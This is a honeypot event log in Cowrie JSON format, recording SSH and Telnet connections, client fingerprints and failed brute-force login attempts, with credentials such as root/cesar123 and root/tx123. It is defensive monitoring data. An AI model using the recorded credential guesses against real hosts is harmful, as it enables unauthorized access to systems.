{"eventid":"cowrie.login.failed","username":"root","fingerprint":"e1:e9:d9:04:23:99:9b:25:18:1f:8e:f4:28:68:5c:16","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC/+jL1Z7ZIVJs7ub6tBCch7MUlH8fji42n8sI+E6yKT3nz5Em7aUrYPWod63T4+3wXaUK0TvnnLWcF3FN1zW1cpN7trKaibfAOgX+dUMDBVotGJEvnj6D8gAkIOeq2V3u7kU6IZ52K5vjlRrBJZIU6Sqnqw0JfxkgF4CRyenG14Sg9DjEuTj3AbgAPm+/mSUnRSOmpMMxK9HjCCz8LTBPo7FYQFAcOGAOV0484kJaPUufylx4loohOfzByIt7oqtwhevoSbkxmmTV2PSNMlLR2UWrU9TaCKES2DdbmwPKnFIySIWT7TLpQgbwi3qWFpiwLFCdS5PHmshWy1EgzdyakSB/TuezovrO2qTz1BwXUWXyupM/iyOM4ZqSiJ5SWE2k3qcAlIraU1Z5RWPWiSd0O4Kd8JSUwct6KWOL4Is+/JUsBF5rXdaz3ANlVIhpK+sosvNSl9vbaWu3lAl9P9r9y9Emr/ZKkJsGI1QFQZn38yGriXI3H1Jbcw5pOr2rkSXewlRNMSX5rul/Z+unZJBHRasQkILc6vZfOTiojfSRwq6MepXFgNYeHjkJIUYAjchrmU1AbgHhUD+7OvV6TycL+244PrrqZIra+uOooz3CLu1FlJqCpx8dBgnK/Rj4OMrTnm9v7H6QC4e/FWbVUi8tMioWA4I+mmjZKy6atkAjvIQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:04:47.064389Z","src_ip":"104.243.38.174","session":"77f48e1135ab","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:04:47.075363Z","src_ip":"104.243.38.174","session":"77f48e1135ab","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"115.68.226.124","src_port":42454,"dst_ip":"10.17.0.5","dst_port":22,"session":"3d2de9716ad8","protocol":"ssh","message":"New connection: 115.68.226.124:42454 (10.17.0.5:22) [session: 3d2de9716ad8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:04:47.381403Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:04:47.386422Z","src_ip":"115.68.226.124","session":"3d2de9716ad8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:04:47.582558Z","src_ip":"115.68.226.124","session":"3d2de9716ad8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":43.34737014770508,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:04:48.068962Z","src_ip":"192.119.13.58","session":"0c08c5f33a35","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"cesar123","message":"login attempt [root/cesar123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:04:48.424288Z","src_ip":"115.68.226.124","session":"3d2de9716ad8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":43694,"dst_ip":"10.17.0.5","dst_port":23,"session":"e85dcc89cb99","protocol":"telnet","message":"New connection: 192.119.13.58:43694 (10.17.0.5:23) [session: e85dcc89cb99]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:04:48.679962Z"}
{"eventid":"cowrie.session.closed","duration":33.55105400085449,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:04:49.281096Z","src_ip":"192.119.13.58","session":"6786caee9fa0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":58.83573532104492,"message":"Connection lost after 58 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:04:49.404059Z","src_ip":"192.119.13.58","session":"5ae195786935","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:04:49.709548Z","src_ip":"115.68.226.124","session":"3d2de9716ad8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.606037855148315,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:04:51.101536Z","src_ip":"192.119.13.58","session":"716dfebc9bd5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":54960,"dst_ip":"10.17.0.5","dst_port":23,"session":"884a571da71d","protocol":"telnet","message":"New connection: 192.119.13.58:54960 (10.17.0.5:23) [session: 884a571da71d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:04:51.288028Z"}
{"eventid":"cowrie.session.closed","duration":47.92017412185669,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:04:53.867453Z","src_ip":"192.119.13.58","session":"978b5ecd2a8d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":44292,"dst_ip":"10.17.0.5","dst_port":23,"session":"64ab6c4cbd0d","protocol":"telnet","message":"New connection: 192.119.13.58:44292 (10.17.0.5:23) [session: 64ab6c4cbd0d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:04:55.226537Z"}
{"eventid":"cowrie.session.closed","duration":32.83199977874756,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:04:55.287750Z","src_ip":"192.119.13.58","session":"4959967a7832","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.740925550460815,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:04:55.562687Z","src_ip":"192.119.13.58","session":"fa7c83d6e134","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.89760446548462,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:04:55.844007Z","src_ip":"192.119.13.58","session":"562db2f18088","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":44.5421929359436,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:04:55.892794Z","src_ip":"192.119.13.58","session":"8b8600e7b493","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.36026477813721,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:04:56.984716Z","src_ip":"192.119.13.58","session":"6edd77c47a00","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"40.83.182.122","src_port":47734,"dst_ip":"10.17.0.5","dst_port":22,"session":"b1c807836e1f","protocol":"ssh","message":"New connection: 40.83.182.122:47734 (10.17.0.5:22) [session: b1c807836e1f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:04:57.509765Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:04:57.514512Z","src_ip":"40.83.182.122","session":"b1c807836e1f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:04:57.591983Z","src_ip":"40.83.182.122","session":"b1c807836e1f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.02378702163696,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:04:57.694370Z","src_ip":"192.119.13.58","session":"a67472236114","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"tx123","message":"login attempt [root/tx123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:04:57.932527Z","src_ip":"40.83.182.122","session":"b1c807836e1f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":59394,"dst_ip":"10.17.0.5","dst_port":23,"session":"769a9a0871c0","protocol":"telnet","message":"New connection: 192.119.13.58:59394 (10.17.0.5:23) [session: 769a9a0871c0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:04:58.172497Z"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:04:59.012653Z","src_ip":"40.83.182.122","session":"b1c807836e1f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":49692,"dst_ip":"10.17.0.5","dst_port":23,"session":"af1ba030ff1f","protocol":"telnet","message":"New connection: 192.119.13.58:49692 (10.17.0.5:23) [session: af1ba030ff1f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:05:01.856703Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":55316,"dst_ip":"10.17.0.5","dst_port":23,"session":"5e887296975e","protocol":"telnet","message":"New connection: 192.119.13.58:55316 (10.17.0.5:23) [session: 5e887296975e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:05:03.863764Z"}
{"eventid":"cowrie.session.closed","duration":8.613517045974731,"message":"Connection lost after 8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:05:06.785909Z","src_ip":"192.119.13.58","session":"769a9a0871c0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":41.899824142456055,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:05:12.117976Z","src_ip":"192.119.13.58","session":"432c458c5611","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.145","src_port":40956,"dst_ip":"10.17.0.5","dst_port":22,"session":"4d250060174e","protocol":"ssh","message":"New connection: 193.32.162.145:40956 (10.17.0.5:22) [session: 4d250060174e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:05:12.444975Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:05:12.450351Z","src_ip":"193.32.162.145","session":"4d250060174e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:05:12.564559Z","src_ip":"193.32.162.145","session":"4d250060174e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"test","message":"login attempt [sol/test] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:05:12.890473Z","src_ip":"193.32.162.145","session":"4d250060174e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":52.58541226387024,"message":"Connection lost after 52 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:05:13.500984Z","src_ip":"192.119.13.58","session":"8ee7ba5923c6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:05:14.001837Z","src_ip":"193.32.162.145","session":"4d250060174e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":42.6471381187439,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:05:14.311302Z","src_ip":"192.119.13.58","session":"9b77b8ed162e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":54406,"dst_ip":"10.17.0.5","dst_port":23,"session":"8c20a2215806","protocol":"telnet","message":"New connection: 192.119.13.58:54406 (10.17.0.5:23) [session: 8c20a2215806]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:05:24.210544Z"}
{"eventid":"cowrie.session.closed","duration":36.217780351638794,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:05:24.897632Z","src_ip":"192.119.13.58","session":"e85dcc89cb99","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":42.28870368003845,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:05:27.203159Z","src_ip":"192.119.13.58","session":"fc89edac9314","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.60770273208618,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:05:29.834136Z","src_ip":"192.119.13.58","session":"64ab6c4cbd0d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":46274,"dst_ip":"10.17.0.5","dst_port":23,"session":"11eb7e42c0a3","protocol":"telnet","message":"New connection: 192.119.13.58:46274 (10.17.0.5:23) [session: 11eb7e42c0a3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:05:34.323262Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.164.9.74","src_port":46806,"dst_ip":"10.17.0.5","dst_port":22,"session":"86dd6556995b","protocol":"ssh","message":"New connection: 103.164.9.74:46806 (10.17.0.5:22) [session: 86dd6556995b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:05:35.281579Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:05:35.286625Z","src_ip":"103.164.9.74","session":"86dd6556995b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:05:35.493750Z","src_ip":"103.164.9.74","session":"86dd6556995b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":63.62261986732483,"message":"Connection lost after 63 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:05:35.687420Z","src_ip":"192.119.13.58","session":"df1e7e153b29","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.33710193634033,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:05:36.200719Z","src_ip":"192.119.13.58","session":"5e887296975e","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"David","message":"login attempt [root/David] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:05:36.323911Z","src_ip":"103.164.9.74","session":"86dd6556995b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:05:37.529745Z","src_ip":"103.164.9.74","session":"86dd6556995b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":49.35540008544922,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:05:40.643281Z","src_ip":"192.119.13.58","session":"884a571da71d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":60334,"dst_ip":"10.17.0.5","dst_port":23,"session":"70b70140d79f","protocol":"telnet","message":"New connection: 192.119.13.58:60334 (10.17.0.5:23) [session: 70b70140d79f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:05:48.856584Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":39578,"dst_ip":"10.17.0.5","dst_port":23,"session":"59d17352391f","protocol":"telnet","message":"New connection: 192.119.13.58:39578 (10.17.0.5:23) [session: 59d17352391f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:05:52.104692Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":40940,"dst_ip":"10.17.0.5","dst_port":23,"session":"fe1b4f7f3218","protocol":"telnet","message":"New connection: 192.119.13.58:40940 (10.17.0.5:23) [session: fe1b4f7f3218]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:05:52.609212Z"}
{"eventid":"cowrie.session.closed","duration":51.164374351501465,"message":"Connection lost after 51 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:05:53.020937Z","src_ip":"192.119.13.58","session":"af1ba030ff1f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":45358,"dst_ip":"10.17.0.5","dst_port":23,"session":"bfd5412fdc53","protocol":"telnet","message":"New connection: 192.119.13.58:45358 (10.17.0.5:23) [session: bfd5412fdc53]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:05:54.494450Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":48750,"dst_ip":"10.17.0.5","dst_port":23,"session":"d5385eb71fec","protocol":"telnet","message":"New connection: 192.119.13.58:48750 (10.17.0.5:23) [session: d5385eb71fec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:05:55.547582Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.20.127.158","src_port":52740,"dst_ip":"10.17.0.5","dst_port":22,"session":"6ea22bdd5b45","protocol":"ssh","message":"New connection: 198.20.127.158:52740 (10.17.0.5:22) [session: 6ea22bdd5b45]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:05:56.884754Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:05:56.889659Z","src_ip":"198.20.127.158","session":"6ea22bdd5b45","protocol":"ssh"}
